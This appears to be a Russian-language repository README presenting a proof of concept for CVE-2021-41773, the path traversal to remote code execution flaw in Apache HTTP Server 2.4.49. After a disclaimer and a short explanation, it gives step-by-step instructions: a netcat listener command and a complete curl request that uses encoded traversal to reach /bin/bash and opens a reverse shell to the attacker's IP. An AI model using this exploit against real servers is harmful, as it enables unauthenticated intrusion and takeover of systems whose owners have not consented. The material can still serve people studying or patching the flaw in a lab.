
Учебный proof-of-concept для CVE-2021-41773, демонстрирующий path traversal до remote code execution на Apache HTTP Server 2.4.49 с reverse shell payload.
⚠️ Отказ от ответственности
Этот репозиторий предназначен строго для образовательных и исследовательских целей.
Предоставленная информация и код могут использоваться в контролируемых средах, таких как частные лабораторные машины.
Несанкционированное использование этого кода против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным и неэтичным.
Автор не несет ответственности за любое неправомерное использование или причиненный ущерб.
CVE-2021-41773 затрагивает Apache HTTP Server версии 2.4.49.
Из-за неправильной проверки ввода при нормализации путей злоумышленник может использовать обход пути с помощью закодированных символов, таких как %2e, для доступа к произвольным файлам.
Если CGI включен, эта уязвимость может быть повышена до неаутентифицированного удаленного выполнения кода (RCE).
Формируется вредоносный запрос curl для использования недостатка обхода пути. Если CGI включен, атакующие могут получить доступ к /bin/bash и выполнять произвольные команды оболочки.
В этом примере отправляется полезная нагрузка обратной оболочки для получения доступа к оболочке с сервера.
Этот эксплойт был протестирован в частной лабораторной среде. Ниже приведены шаги и результаты.
Сканирование Nmap выявило цель, работающую под Apache/2.4.49.

Полезная нагрузка обратной оболочки была доставлена с помощью сформированной команды curl.

Обратная оболочка была успешно получена на слушателе атакующего.

Шаг 1: Запустите слушатель Netcat
nc -nvlp 4444
Шаг 2: Запустите эксплойт
curl -v 'http://<цель>:<порт>/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/<ваш-ip>/4444 0>&1' -H 'Content-Type: text/plain'
Ознакомьтесь с подробным руководством и теорией в моей статье на Medium:
👉 Читать блог на Medium